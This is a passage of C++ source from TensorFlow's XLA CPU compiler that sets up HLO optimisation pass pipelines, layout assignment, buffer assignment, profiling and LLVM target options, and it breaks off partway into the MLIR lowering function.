#include "mlir/Conversion/SCFToControlFlow/SCFToControlFlow.h" // from @llvm-project
#include "mlir/Conversion/ShapeToStandard/ShapeToStandard.h" // from @llvm-project
#include "mlir/Conversion/VectorToSCF/VectorToSCF.h" // from @llvm-project
#include "mlir/Dialect/Affine/IR/AffineOps.h" // from @llvm-project
#include "mlir/Dialect/Arithmetic/IR/Arithmetic.h" // from @llvm-project
#include "mlir/Dialect/Arithmetic/Transforms/Passes.h" // from @llvm-project
#include "mlir/Dialect/Bufferization/Transforms/Passes.h" // from @llvm-project
#include "mlir/Dialect/Func/IR/FuncOps.h" // from @llvm-project
#include "mlir/Dialect/Func/Transforms/Passes.h" // from @llvm-project
#include "mlir/Dialect/LLVMIR/LLVMDialect.h" // from @llvm-project
#include "mlir/Dialect/LLVMIR/LLVMTypes.h" // from @llvm-project
#include "mlir/Dialect/Linalg/IR/Linalg.h" // from @llvm-project
#include "mlir/Dialect/Linalg/Passes.h" // from @llvm-project
#include "mlir/Dialect/MemRef/Transforms/Passes.h" // from @llvm-project
#include "mlir/Dialect/SCF/SCF.h" // from @llvm-project
#include "mlir/Dialect/Shape/Transforms/Passes.h" // from @llvm-project
#include "mlir/Dialect/Tensor/IR/Tensor.h" // from @llvm-project
#include "mlir/Dialect/Vector/IR/VectorOps.h" // from @llvm-project
#include "mlir/IR/Builders.h" // from @llvm-project
#include "mlir/IR/BuiltinAttributes.h" // from @llvm-project
#include "mlir/IR/BuiltinTypes.h" // from @llvm-project
#include "mlir/IR/ImplicitLocOpBuilder.h" // from @llvm-project
#include "mlir/Pass/PassManager.h" // from @llvm-project
#include "mlir/Target/LLVMIR/Dialect/LLVMIR/LLVMToLLVMIRTranslation.h" // from @llvm-project
#include "mlir/Target/LLVMIR/Export.h" // from @llvm-project
#include "mlir/Target/LLVMIR/LLVMTranslationInterface.h" // from @llvm-project
#include "mlir/Transforms/Passes.h" // from @llvm-project
#include "tensorflow/compiler/mlir/hlo/include/mlir-hlo/Dialect/gml_st/transforms/passes.h"
#include "tensorflow/compiler/mlir/hlo/include/mlir-hlo/Dialect/mhlo/transforms/passes.h"
#include "tensorflow/compiler/mlir/hlo/include/mlir-hlo/Transforms/passes.h"
#include "tensorflow/compiler/mlir/xla/hlo_to_mlir_hlo.h"
#include "tensorflow/compiler/mlir/xla/ir/xla_framework.h"
#include "tensorflow/compiler/mlir/xla/transforms/xla_passes.h"
#include "tensorflow/compiler/xla/cpu_function_runtime.h"
#include "tensorflow/compiler/xla/literal.h"
#include "tensorflow/compiler/xla/map_util.h"
#include "tensorflow/compiler/xla/protobuf_util.h"
#include "tensorflow/compiler/xla/service/algebraic_simplifier.h"
#include "tensorflow/compiler/xla/service/all_gather_decomposer.h"
#include "tensorflow/compiler/xla/service/all_to_all_decomposer.h"
#include "tensorflow/compiler/xla/service/batch_dot_simplification.h"
#include "tensorflow/compiler/xla/service/batchnorm_expander.h"
#include "tensorflow/compiler/xla/service/bfloat16_normalization.h"
#include "tensorflow/compiler/xla/service/bitcast_dtypes_expander.h"
#include "tensorflow/compiler/xla/service/buffer_assignment.h"
#include "tensorflow/compiler/xla/service/call_inliner.h"
#include "tensorflow/compiler/xla/service/cholesky_expander.h"
#include "tensorflow/compiler/xla/service/comparison_expander.h"
#include "tensorflow/compiler/xla/service/conditional_canonicalizer.h"
#include "tensorflow/compiler/xla/service/conditional_simplifier.h"
#include "tensorflow/compiler/xla/service/conditional_to_select.h"
#include "tensorflow/compiler/xla/service/convolution_group_converter.h"
#include "tensorflow/compiler/xla/service/copy_insertion.h"
#include "tensorflow/compiler/xla/service/cpu/buffer_info_util.h"
#include "tensorflow/compiler/xla/service/cpu/compiler_functor.h"
#include "tensorflow/compiler/xla/service/cpu/conv_canonicalization.h"
#include "tensorflow/compiler/xla/service/cpu/cpu_executable.h"
#include "tensorflow/compiler/xla/service/cpu/cpu_instruction_fusion.h"
#include "tensorflow/compiler/xla/service/cpu/cpu_layout_assignment.h"
#include "tensorflow/compiler/xla/service/cpu/cpu_options.h"
#include "tensorflow/compiler/xla/service/cpu/dot_op_emitter.h"
#include "tensorflow/compiler/xla/service/cpu/ir_emission_utils.h"
#include "tensorflow/compiler/xla/service/cpu/ir_emitter.h"
#include "tensorflow/compiler/xla/service/cpu/parallel_task_assignment.h"
#include "tensorflow/compiler/xla/service/cpu/simple_orc_jit.h"
#include "tensorflow/compiler/xla/service/dfs_hlo_visitor_with_default.h"
#include "tensorflow/compiler/xla/service/dot_decomposer.h"
#include "tensorflow/compiler/xla/service/dump.h"
#include "tensorflow/compiler/xla/service/dynamic_dimension_simplifier.h"
#include "tensorflow/compiler/xla/service/dynamic_index_splitter.h"
#include "tensorflow/compiler/xla/service/dynamic_padder.h"
#include "tensorflow/compiler/xla/service/eigh_expander.h"
#include "tensorflow/compiler/xla/service/flatten_call_graph.h"
#include "tensorflow/compiler/xla/service/gather_expander.h"
#include "tensorflow/compiler/xla/service/hlo.pb.h"
#include "tensorflow/compiler/xla/service/hlo_casting_utils.h"
#include "tensorflow/compiler/xla/service/hlo_computation.h"
#include "tensorflow/compiler/xla/service/hlo_constant_folding.h"
#include "tensorflow/compiler/xla/service/hlo_cse.h"
#include "tensorflow/compiler/xla/service/hlo_dce.h"
#include "tensorflow/compiler/xla/service/hlo_instruction.h"
#include "tensorflow/compiler/xla/service/hlo_instructions.h"
#include "tensorflow/compiler/xla/service/hlo_memory_scheduler.h"
#include "tensorflow/compiler/xla/service/hlo_module.h"
#include "tensorflow/compiler/xla/service/hlo_opcode.h"
#include "tensorflow/compiler/xla/service/hlo_ordering.h"
#include "tensorflow/compiler/xla/service/hlo_pass_fix.h"
#include "tensorflow/compiler/xla/service/hlo_pass_pipeline.h"
#include "tensorflow/compiler/xla/service/hlo_proto_util.h"
#include "tensorflow/compiler/xla/service/hlo_subcomputation_unification.h"
#include "tensorflow/compiler/xla/service/hlo_verifier.h"
#include "tensorflow/compiler/xla/service/indexed_array_analysis.h"
#include "tensorflow/compiler/xla/service/llvm_compiler.h"
#include "tensorflow/compiler/xla/service/llvm_ir/llvm_command_line_options.h"
#include "tensorflow/compiler/xla/service/llvm_ir/llvm_util.h"
#include "tensorflow/compiler/xla/service/logistic_expander.h"
#include "tensorflow/compiler/xla/service/map_inliner.h"
#include "tensorflow/compiler/xla/service/operand_upcaster.h"
#include "tensorflow/compiler/xla/service/optimization_barrier_expander.h"
#include "tensorflow/compiler/xla/service/qr_expander.h"
#include "tensorflow/compiler/xla/service/reduce_scatter_decomposer.h"
#include "tensorflow/compiler/xla/service/reshape_mover.h"
#include "tensorflow/compiler/xla/service/result_caster.h"
#include "tensorflow/compiler/xla/service/rng_bit_generator_expander.h"
#include "tensorflow/compiler/xla/service/rng_expander.h"
#include "tensorflow/compiler/xla/service/scatter_expander.h"
#include "tensorflow/compiler/xla/service/sharding_propagation.h"
#include "tensorflow/compiler/xla/service/sharding_remover.h"
#include "tensorflow/compiler/xla/service/slice_sinker.h"
#include "tensorflow/compiler/xla/service/slow_operation_alarm.h"
#include "tensorflow/compiler/xla/service/sort_simplifier.h"
#include "tensorflow/compiler/xla/service/spmd/stateful_rng_spmd_partitioner.h"
#include "tensorflow/compiler/xla/service/topk_rewriter.h"
#include "tensorflow/compiler/xla/service/transpose_folding.h"
#include "tensorflow/compiler/xla/service/tree_reduction_rewriter.h"
#include "tensorflow/compiler/xla/service/triangular_solve_expander.h"
#include "tensorflow/compiler/xla/service/tuple_simplifier.h"
#include "tensorflow/compiler/xla/service/while_loop_constant_sinking.h"
#include "tensorflow/compiler/xla/service/while_loop_invariant_code_motion.h"
#include "tensorflow/compiler/xla/service/while_loop_simplifier.h"
#include "tensorflow/compiler/xla/service/zero_sized_hlo_elimination.h"
#include "tensorflow/compiler/xla/status_macros.h"
#include "tensorflow/compiler/xla/statusor.h"
#include "tensorflow/compiler/xla/types.h"
#include "tensorflow/compiler/xla/util.h"
#include "tensorflow/compiler/xla/xla_data.pb.h"
#include "tensorflow/core/platform/errors.h"
#include "tensorflow/core/platform/status.h"
#include "tensorflow/core/protobuf/error_codes.pb.h"
namespace {
// We need to explicitly load all the dialects we will involved in emitting the
// IR. This is only needed because of how MLIR is bolted into XLA and does not
// make use of the MLIR infrastructure (like using a proper pass pipeline).
// Hopefully this will all go away at some point in favor of a better
// integration.
void LoadMLIRDialects(mlir::MLIRContext& context) {
context.loadDialect<mlir::arith::ArithmeticDialect,
mlir::linalg::LinalgDialect, mlir::scf::SCFDialect,
mlir::vector::VectorDialect, mlir::func::FuncDialect,
mlir::AffineDialect, mlir::tensor::TensorDialect,
mlir::xla_framework::XLAFrameworkDialect>();
mlir::registerLLVMDialectTranslation(context);
}
} // namespace
namespace xla {
namespace {
bool UseMlirHloLowering(bool use_mlir, HloModule* module) {
// TODO(tpopp): The prototype currently does not properly handle constant
// buffers that are handled by the runtime's buffer assignmen.
return use_mlir &&
module->entry_computation()->root_instruction()->opcode() !=
HloOpcode::kConstant;
}
// For each computation in the module, determines whether that computation
// calls a custom-call function, either directly or indirectly (e.g. because it
// calls another computation that does).
absl::flat_hash_map<const HloComputation*, bool>
ModuleComputationsTransitivelyContainCustomCall(const HloModule& module) {
absl::flat_hash_map<const HloComputation*, bool> custom_call_map;
std::unique_ptr<CallGraph> call_graph = CallGraph::Build(&module);
// Can never fail because we always return an OK status from the visitor.
TF_CHECK_OK(call_graph->VisitNodes([&custom_call_map](
const CallGraphNode& node) {
const HloComputation* computation = node.computation();
for (const HloInstruction* instruction : computation->instructions()) {
// The computation contains a custom-call instruction directly.
if (DynCast<HloCustomCallInstruction>(instruction)) {
custom_call_map[computation] = true;
return Status::OK();
}
// The computation calls something that contains a custom-call
// instruction (directly or indirectly). This lookup relies on the call
// graph traversing callees before callers, so that the map is always
// populated for all callees at this point.
for (const HloComputation* callee : instruction->called_computations()) {
bool callee_contains_custom_call = FindOrDie(custom_call_map, callee);
if (callee_contains_custom_call) {
custom_call_map[computation] = true;
return Status::OK();
}
}
}
custom_call_map[computation] = false;
return Status::OK();
}));
return custom_call_map;
}
} // namespace
namespace cpu {
using BufferInfo = cpu_function_runtime::BufferInfo;
CpuAotCompilationOptions::CpuAotCompilationOptions(
std::string triple, std::string cpu_name, std::string features,
std::string entry_point_name, RelocationModel relocation_model)
: triple_(std::move(triple)),
cpu_name_(std::move(cpu_name)),
features_(std::move(features)),
entry_point_name_(std::move(entry_point_name)),
relocation_model_(relocation_model) {}
CpuAotCompilationOptions::~CpuAotCompilationOptions() = default;
se::Platform::Id CpuAotCompilationOptions::PlatformId() const {
return se::host::kHostPlatformId;
}
CpuAotCompilationResult::CpuAotCompilationResult(
ObjectFileData object_file_data, std::vector<BufferInfo> buffer_infos,
int64_t result_buffer_index,
std::unique_ptr<HloProfilePrinterData> hlo_profile_printer_data)
: object_file_data_(std::move(object_file_data)),
buffer_infos_(std::move(buffer_infos)),
result_buffer_index_(result_buffer_index),
hlo_profile_printer_data_(std::move(hlo_profile_printer_data)) {}
CpuAotCompilationResult::~CpuAotCompilationResult() = default;
CpuCompiler::CpuCompiler() {
// Initialize LLVM the first time the CpuCompiler is initialized.
static bool llvm_initialized = []() {
InitializeLLVMTarget();
return true;
}();
(void)llvm_initialized;
}
StatusOr<std::vector<std::unique_ptr<Executable>>> CpuCompiler::Compile(
std::unique_ptr<HloModuleGroup> module_group,
std::vector<std::vector<se::StreamExecutor*>> stream_execs,
const CompileOptions& options) {
for (const std::vector<se::StreamExecutor*>& se_vector : stream_execs) {
if (se_vector.size() != 1) {
return Unimplemented(
"Model partitioning not implemented for the CPU compiler");
}
}
return LLVMCompiler::Compile(std::move(module_group), stream_execs, options);
}
/* static */ void CpuCompiler::InitializeLLVMTarget() {
// Initialize LLVM's MC layer for the native target.
llvm::InitializeNativeTarget();
llvm::InitializeNativeTargetAsmPrinter();
}
namespace {
// LLVM makes certain options configurable only through its command-line
// options; it provide the ParseCommandLineOptions function that lets us set
// flags at runtime. However, since these flags are global we want to avoid
// multiple invocations of the LLVM compilation pipeline with a different set of
// flags. Therefore, we only pass command-line flags to LLVM once, before the
// first module is compiled.
absl::once_flag llvm_command_line_options_initialized;
// This visitor records which HLO instructions should have profiling information
// recorded.
class CollectProfileCandidates : public DfsHloVisitorWithDefault {
public:
static StatusOr<absl::flat_hash_map<const HloInstruction*, int64_t>>
GetCandidatesForComputation(
const HloComputation& computation,
const absl::flat_hash_map<const HloInstruction*, int64_t>&
assigned_indices) {
absl::flat_hash_map<const HloInstruction*, int64_t> hlo_to_profile_idx;
CollectProfileCandidates profile_candidates_for_computation(
&hlo_to_profile_idx, assigned_indices);
TF_RETURN_IF_ERROR(computation.Accept(&profile_candidates_for_computation));
return hlo_to_profile_idx;
}
private:
CollectProfileCandidates(
absl::flat_hash_map<const HloInstruction*, int64_t>* hlo_to_profile_idx,
const absl::flat_hash_map<const HloInstruction*, int64_t>&
assigned_indices)
: hlo_to_profile_idx_(hlo_to_profile_idx),
assigned_indices_(assigned_indices) {}
Status DefaultAction(HloInstruction* hlo_instruction) override {
hlo_to_profile_idx_->insert(
{hlo_instruction, FindOrDie(assigned_indices_, hlo_instruction)});
return Status::OK();
}
Status HandleCall(HloInstruction* call) override {
TF_RETURN_IF_ERROR(DefaultAction(call));
CollectProfileCandidates candidates_for_call(hlo_to_profile_idx_,
assigned_indices_);
TF_RETURN_IF_ERROR(call->to_apply()->Accept(&candidates_for_call));
return Status::OK();
}
// Recurse into "conditional" so we can profile inside of it.
Status HandleConditional(HloInstruction* conditional) override {
TF_RETURN_IF_ERROR(DefaultAction(conditional));
CollectProfileCandidates candidates_for_true(hlo_to_profile_idx_,
assigned_indices_);
TF_RETURN_IF_ERROR(
conditional->true_computation()->Accept(&candidates_for_true));
CollectProfileCandidates candidates_for_false(hlo_to_profile_idx_,
assigned_indices_);
TF_RETURN_IF_ERROR(
conditional->false_computation()->Accept(&candidates_for_false));
return Status::OK();
}
// Skip constants, there is nothing to profile.
Status HandleConstant(HloInstruction*) override { return Status::OK(); }
// Skip parameters, they are a simple load.
Status HandleParameter(HloInstruction*) override { return Status::OK(); }
// It is important to recurse for "while" or else we risk overly coarse
// profiling information.
Status HandleWhile(HloInstruction* xla_while) override {
TF_RETURN_IF_ERROR(DefaultAction(xla_while));
CollectProfileCandidates candidates_for_condition(hlo_to_profile_idx_,
assigned_indices_);
TF_RETURN_IF_ERROR(
xla_while->while_condition()->Accept(&candidates_for_condition));
CollectProfileCandidates candidates_for_body(hlo_to_profile_idx_,
assigned_indices_);
TF_RETURN_IF_ERROR(xla_while->while_body()->Accept(&candidates_for_body));
return Status::OK();
}
absl::flat_hash_map<const HloInstruction*, int64_t>* hlo_to_profile_idx_;
const absl::flat_hash_map<const HloInstruction*, int64_t>& assigned_indices_;
};
} // namespace
Status CpuCompiler::RunHloPassesThroughLayoutAssn(
HloModule* module, bool /*is_aot_compile*/,
LLVMTargetMachineFeatures* target_machine_features, bool is_mlir_compile) {
if (module->config().use_spmd_partitioning()) {
HloPassPipeline spmd_pipeline("spmd-partitioner");
const int64_t num_partitions = module->config().num_partitions();
if (num_partitions > 1) {
// Run some IR cleanup passes before running the SPMD partitioning
// passes.
spmd_pipeline.AddInvariantChecker<HloVerifier>(
/*layout_sensitive=*/false,
/*allow_mixed_precision=*/false);
spmd_pipeline.AddPass<CallInliner>();
spmd_pipeline.AddPass<ZeroSizedHloElimination>();
spmd_pipeline.AddPass<ConditionalCanonicalizer>();
spmd_pipeline.AddPass<ShardingPropagation>(/*is_spmd=*/true);
spmd_pipeline.AddPass<spmd::StatefulRngSpmdPartitioner>(
num_partitions, module->config().replica_count());
} else {
// Remove redundant sharding ops when partition_count == 1.
spmd_pipeline.AddPass<ShardingRemover>();
spmd_pipeline.AddPass<HloDCE>();
}
TF_RETURN_IF_ERROR(spmd_pipeline.Run(module).status());
}
HloPassPipeline pipeline("HLO passes through layout assignment");
pipeline.AddInvariantChecker<HloVerifier>(/*layout_sensitive=*/false,
/*allow_mixed_precision=*/false);
pipeline.AddPass<OperandUpcaster>();
pipeline.AddPass<ResultCaster>();
// Expand random number generation.
pipeline.AddPass<RngExpander>();
pipeline.AddPass<RngBitGeneratorExpander>(RandomAlgorithm::RNG_PHILOX);
// Remove zero-sized HLO from the input so that other passes don't have to
// handle it.
pipeline.AddPass<ZeroSizedHloElimination>();
pipeline.AddPass<DynamicIndexSplitter>();
pipeline.AddPass<ConditionalToSelect>();
pipeline.AddPass<MapInliner>();
pipeline.AddPass<ComparisonExpander>();
pipeline.AddPass<CholeskyExpander>();
pipeline.AddPass<QrExpander>();
pipeline.AddPass<EighExpander>();
pipeline.AddPass<TriangularSolveExpander>();
pipeline.AddPass<AllGatherDecomposer>();
pipeline.AddPass<AllToAllDecomposer>();
pipeline.AddPass<ReduceScatterDecomposer>();
// Inline computations with a single call site.
pipeline.AddPass<CallInliner>(/*single_call_site=*/true);
pipeline.AddPass<BatchDotSimplification>();
pipeline.AddPass<DotDecomposer>();
// Convert BF16 operations to F32 operations so that the CPU backend can
// support BF16 operations without directly implementing a BF16 lowering for
// most ops.
BFloat16Support bf16;
pipeline.AddPass<BFloat16Normalization>(&bf16);
// After canonicalization, there may be more batch dots that can be
// simplified.
pipeline.AddPass<BatchDotSimplification>();
auto cost_model = [](HloInstruction* conv) {
// We need a cost model for CPUs. Currently, do nothing.
return false;
};
pipeline.AddPass<ConvolutionGroupConverter>(
/*should_expand=*/[](HloInstruction* conv) { return true; }, cost_model,
/*convert_batch_groups_only=*/true);
auto feature_group_should_expand = [](HloInstruction* conv) {
switch (conv->shape().element_type()) {
case F16:
case F32:
return false;
default:
return true;
}
};
pipeline.AddPass<ConvolutionGroupConverter>(
feature_group_should_expand, cost_model,
/*convert_batch_groups_only=*/false);
pipeline.AddPass<BatchNormExpander>(
/*rewrite_training_op=*/true,
/*rewrite_inference_op=*/true,
/*rewrite_grad_op=*/true);
pipeline.AddPass<LogisticExpander>(
/*expansion_type=*/LogisticExpansionType::kExp);
pipeline.AddPass<ConditionalCanonicalizer>();
pipeline.AddPass<DynamicDimensionSimplifier>();
auto dynamic_padder_options = DynamicPadderOptions();
dynamic_padder_options.shape_check_mode =
DynamicDimensionInference::ShapeCheckMode::kCompileTime;
pipeline.AddPass<DynamicPadder>(dynamic_padder_options);
pipeline.AddPass<ScatterExpander>(ScatterExpander::kEliminateAllScatters);
pipeline.AddPass<ConvCanonicalization>(target_machine_features);
// Run the following passes to a fixed point.
[&pipeline =
pipeline.AddPass<HloPassFix<HloPassPipeline>>("simplification")] {
pipeline.AddInvariantCheckerDebug<HloVerifier>(
/*layout_sensitive=*/false,
/*allow_mixed_precision=*/false);
AlgebraicSimplifierOptions options;
options.set_enable_dot_strength_reduction(false);
// TODO(b/209827141): XLA:CPU doesn't propagate NaN through min/max, but
// other platforms do, so it should be changed.
options.set_minmax_propagate_nan(false);
pipeline.AddPass<AlgebraicSimplifier>(options);
pipeline.AddPass<SortSimplifier>();
pipeline.AddPass<HloDCE>();
pipeline.AddPass<GatherExpander>(GatherExpander::kEliminateSimpleGathers);
// Needs to happen after algebraic simplifier.
pipeline.AddPass<TreeReductionRewriter>();
// BatchNormExpander can create zero-sized ops, so zero-sized HLO
// elimination has to come after that pass.
pipeline.AddPass<ZeroSizedHloElimination>();
pipeline.AddPass<WhileLoopInvariantCodeMotion>();
pipeline.AddPass<TupleSimplifier>();
pipeline.AddPass<WhileLoopConstantSinking>();
pipeline.AddPass<WhileLoopSimplifier>();
// TODO(b/134075051): Re-enable after b/134075051 is fixed.
// pipeline.AddPass<SliceSinker>();
pipeline.AddPass<HloDCE>();
pipeline.AddPass<ReshapeMover>();
pipeline.AddPass<HloConstantFolding>();
pipeline.AddPass<ConditionalSimplifier>();
}();
pipeline.AddPass<BitcastDtypesExpander>();
// XLA lowers topk to a libcall while the MLIR based pipeline does not yet
// support libcalls. Disable this for now.
if (!is_mlir_compile) {
pipeline.AddPass<TopkRewriter>([](const HloSortInstruction* sort, int64_t) {
return sort->operand(0)->shape().element_type() == F32;
});
}
pipeline.AddPass<IndexedArrayAnalysisPrinterPass>();
pipeline.AddPass<TransposeFolding>(
[&](const HloInstruction& dot, int64_t operand) -> StatusOr<bool> {
if (DotImplementationCanHandleTranspose(dot,
*target_machine_features)) {
return TransposeFolding::IsRowColumnTransposeDotOperand(dot, operand);
}
return false;
},
TransposeFolding::NeverFoldTranspose);
pipeline.AddPass<HloCSE>(/*is_layout_sensitive=*/false);
pipeline.AddPass<OptimizationBarrierExpander>();
pipeline.AddPass<TupleSimplifier>();
// Layout assignment uses alias analysis, which requires the call graph to be
// flattened.
pipeline.AddPass<FlattenCallGraph>();
ChannelLayoutConstraints layout_constraints;
pipeline.AddPass<CpuLayoutAssignment>(
module->mutable_entry_computation_layout(), target_machine_features,
&layout_constraints);
return pipeline.Run(module).status();
}
Status CpuCompiler::RunHloPassesAfterLayoutAssn(
HloModule* module, bool is_aot_compile,
LLVMTargetMachineFeatures* target_machine_features, bool is_mlir_compile) {
HloPassPipeline pipeline("HLO passes after layout assignment");
// CopyInsertion is still needed by BufferAssignment. MLIR passes will handle
// everything else done by XLA, but CopyInsertion is needed to interface with
// the existing runtime.
if (is_mlir_compile) {
pipeline.AddPass<CopyInsertion>();
return pipeline.Run(module).status();
}
// After layout assignment, use a layout-sensitive verifier.
pipeline.AddPass<HloPassPipeline>("after layout assignment")
.AddInvariantCheckerDebug<HloVerifier>(
/*layout_sensitive=*/true,
/*allow_mixed_precision=*/false);
// Add a fusion pass now that layout assignment is done.
pipeline.AddPass<CpuInstructionFusion>();
// The LayoutAssignment pass may leave behind kCopy instructions which are
// duplicate or NOPs, so remove them with algebraic simplification and CSE.
// Run this to a fixed point.
[&pipeline = pipeline.AddPass<HloPassFix<HloPassPipeline>>(
"simplification after layout assignment")] {
pipeline.AddInvariantCheckerDebug<HloVerifier>(
/*layout_sensitive=*/true,
/*allow_mixed_precision=*/false,
LayoutAssignment::InstructionCanChangeLayout);
AlgebraicSimplifierOptions options;
options.set_is_layout_sensitive(true);
options.set_enable_dot_strength_reduction(false);
// TODO(b/209827141): XLA:CPU doesn't propagate NaN through min/max, but
// other platforms do, so it should be changed.
options.set_minmax_propagate_nan(false);
pipeline.AddPass<AlgebraicSimplifier>(options);
pipeline.AddPass<HloDCE>();
pipeline.AddPass<HloCSE>(/*is_layout_sensitive=*/true);
}();
// Outline ops in the entry computation into calls to subcomputations.
const int max_parallelism =
module->config().intra_op_parallelism_threads() > 0
? module->config().intra_op_parallelism_threads()
: tensorflow::port::NumSchedulableCPUs();
if (!is_aot_compile) {
// Run ParallelTaskAssigner to assign parallel tasks to HLOs in module.
// Note this is not run for AOT because it would bring in thread pool
// and thread synchronization dependencies which would likely increase
// binary size (and most AOT applications are single-threaded).
// TODO(b/29630486) Support multi-threaded AOT.
pipeline.AddPass<ParallelTaskAssigner>(
max_parallelism, ShapeSizeBytesFunction(), target_machine_features);
}
// Copy insertion should be performed immediately before IR emission to
// avoid inserting unnecessary copies (later pass adds an instruction which
// materializes the value) or missing a necessary copy (later pass removes
// an instruction which materializes a value). DCE must be run immediately
// before (and sometime after) copy insertion, to avoid dead code from
// interfering with the rewrites.
pipeline.AddPass<HloDCE>();
pipeline.AddPass<CopyInsertion>();
pipeline.AddPass<HloDCE>();
return pipeline.Run(module).status();
}
Status CpuCompiler::RunHloPasses(HloModule* module, bool is_aot_compile,
llvm::TargetMachine* target_machine,
bool is_mlir_compile) {
if (DumpingEnabledForHloModule(*module)) {
hlo_proto_ = absl::make_unique<HloProto>();
*hlo_proto_->mutable_hlo_module() = module->ToProto();
}
LLVMTargetMachineFeatures target_machine_features(target_machine);
TF_RETURN_IF_ERROR(RunHloPassesThroughLayoutAssn(
module, is_aot_compile, &target_machine_features, is_mlir_compile));
return RunHloPassesAfterLayoutAssn(
module, is_aot_compile, &target_machine_features,
UseMlirHloLowering(is_mlir_compile, module));
}
namespace {
// Align buffers to 16-byte boundaries.
int64_t memory_alignment(LogicalBuffer::Color) {
return cpu_function_runtime::MinAlign();
}
llvm::TargetOptions CompilerTargetOptions(
const HloModuleConfig& module_config) {
llvm::TargetOptions target_options;
// Always allow FMA fusion. This increases precision instead of decreasing it.
target_options.AllowFPOpFusion = llvm::FPOpFusion::Fast;
return target_options;
}
llvm::CodeGenOpt::Level CodeGenOptLevel(const HloModuleConfig& module_config) {
VLOG(2) << "backend_optimization_level: "
<< module_config.debug_options().xla_backend_optimization_level();
switch (module_config.debug_options().xla_backend_optimization_level()) {
case 1:
return llvm::CodeGenOpt::Less;
case 2:
return llvm::CodeGenOpt::Default;
case 3:
return llvm::CodeGenOpt::Aggressive;
default:
return llvm::CodeGenOpt::None;
}
}
std::pair<LLVMCompiler::ModuleHook, LLVMCompiler::ModuleHook> GetIRModuleHooks(
const HloModule& hlo_module,
const LLVMCompiler::ModuleHook& user_pre_optimization_hook,
const LLVMCompiler::ModuleHook& user_post_optimization_hook) {
// Create the IR hooks. If applicable, each IR hook does the following:
//
// * Calls the user supplied module hook.
// * Writes out the IR to a file in the output directory designated by
// --xla_dump_to
const HloModule* hlo_module_ptr = &hlo_module;
auto hook = [user_pre_optimization_hook, user_post_optimization_hook,
hlo_module_ptr](bool optimized,
const llvm::Module& llvm_module) {
const auto& user_hook =
!optimized ? user_pre_optimization_hook : user_post_optimization_hook;
if (user_hook) {
user_hook(llvm_module);
}
llvm_ir::DumpIrIfEnabled(*hlo_module_ptr, llvm_module, optimized);
};
return {[hook](const llvm::Module& llvm_module) {
return hook(/*optimized=*/false, llvm_module);
},
[hook](const llvm::Module& llvm_module) {
return hook(/*optimized=*/true, llvm_module);
}};
}
Status VerifyLlvmModule(const llvm::Module& llvm_module) {
XLA_SCOPED_LOGGING_TIMER("CpuCompiler - Running LLVM verifier");
std::string err;
llvm::raw_string_ostream err_stream(err);
// verifyModule() returns true if the module is broken.
TF_RET_CHECK(!llvm::verifyModule(llvm_module, &err_stream))
<< "Invalid LLVM IR before optimizations:\n"
<< err_stream.str()
<< "\nThis probably indicates a bug in the HLO -> LLVM IR lowering. "
"Rerun with --xla_dump_to to get the IR. ";
return Status::OK();
}
Status CreateHloProfilingArtifacts(
const HloModule& module,
absl::flat_hash_map<const HloInstruction*, int64_t>*
instruction_to_profile_idx,
absl::flat_hash_map<const HloComputation*, int64_t>*
computation_to_profile_idx,
std::unique_ptr<HloProfileIndexMap>* hlo_profile_index_map,
std::unique_ptr<HloProfilePrinterData>* hlo_profile_printer_data) {
*hlo_profile_index_map = absl::make_unique<HloProfileIndexMap>(module);
const HloComputation& entry_computation = *module.entry_computation();
TF_ASSIGN_OR_RETURN(
*instruction_to_profile_idx,
CollectProfileCandidates::GetCandidatesForComputation(
entry_computation,
(*hlo_profile_index_map)->instruction_to_profile_idx()));
auto shape_size_bytes = [](const Shape& shape) {
// On the cpu, opaques are pointers.
if (shape.IsOpaque()) {
return static_cast<int64_t>(sizeof(void*));
}
return ShapeUtil::ByteSizeOf(shape, sizeof(void*));
};
HloCostAnalysis cost_analysis(shape_size_bytes);
TF_RETURN_IF_ERROR(entry_computation.Accept(&cost_analysis));
*hlo_profile_printer_data = CreateHloProfilePrinterData(
**hlo_profile_index_map, cost_analysis, entry_computation.name());
*computation_to_profile_idx =
(*hlo_profile_index_map)->computation_to_profile_idx();
return Status::OK();
}
} // namespace
StatusOr<std::unique_ptr<HloModule>> CpuCompiler::RunHloPasses(
std::unique_ptr<HloModule> module, se::StreamExecutor* /*stream_exec*/,
const CompileOptions& /*options*/) {
std::unique_ptr<llvm::TargetMachine> jit_target_machine =
SimpleOrcJIT::InferTargetMachineForJIT(
CompilerTargetOptions(module->config()),
CodeGenOptLevel(module->config()));
TF_RETURN_IF_ERROR(RunHloPasses(module.get(), /*is_aot_compile=*/false,
jit_target_machine.get()));
return std::move(module);
}
StatusOr<std::unique_ptr<BufferAssignment>> CpuCompiler::AssignBuffers(
const HloModule* module) {
// Select an order for emitting the HLO instructions for each computation.
// Using this sequence enables tighter buffer liveness analysis and reduced
// memory usage (as compared to using DependencyHloOrdering).
TF_ASSIGN_OR_RETURN(HloSchedule schedule,
ScheduleModule(module, BufferSizeBytesFunction(),
ComputationSchedulerToModuleScheduler(
DFSMemoryScheduler)));
// Run buffer allocation on the HLO graph.
TF_ASSIGN_OR_RETURN(
std::unique_ptr<BufferAssignment> assignment,
BufferAssigner::Run(module,
absl::make_unique<SequentialHloOrdering>(schedule),
BufferSizeBytesFunction(), memory_alignment,
/*allocate_buffers_for_constants=*/true));
return std::move(assignment);
}
namespace {
// Post-compilation callback functor for use by SimpleOrcJIT.
//
// Dumps machine code if dumping is enabled for the module.
struct OrcJITPostCompilationHook {
// Gets an std::function that implements this hook.
static std::function<void(const llvm::object::ObjectFile& obj_file)> Create(
const HloModule* module) {
// This struct is not copyable, but std::functions must be. So to create an
// std::function out of this struct, we have to wrap it in a shared_ptr.
auto wrapped = std::make_shared<OrcJITPostCompilationHook>(module);
return [wrapped](const llvm::object::ObjectFile& obj_file) {
(*wrapped)(obj_file);
};
}
// Constructor can't be private because we want to call it from
// std::make_shared, but users should call Create() instead.
explicit OrcJITPostCompilationHook(const HloModule* module)
: module(module) {}
private:
void operator()(const llvm::object::ObjectFile& obj_file) {
if (!DumpingEnabledForHloModule(*module)) {
return;
}
DumpToFileInDir(*module, /*file_prefix=*/"", /*file_suffix=*/"o",
absl::string_view(obj_file.getData().data(),
obj_file.getData().size()));
}
const HloModule* module;
};
void InitializeLLVMCommandLineOptions(const HloModuleConfig& config) {
llvm_ir::InitializeLLVMCommandLineOptions(
config.debug_options().xla_backend_extra_options());
}
Status LowerMLIRModule(mlir::ModuleOp mlir_module,
mlir::MLIRContext& mlir_context) {
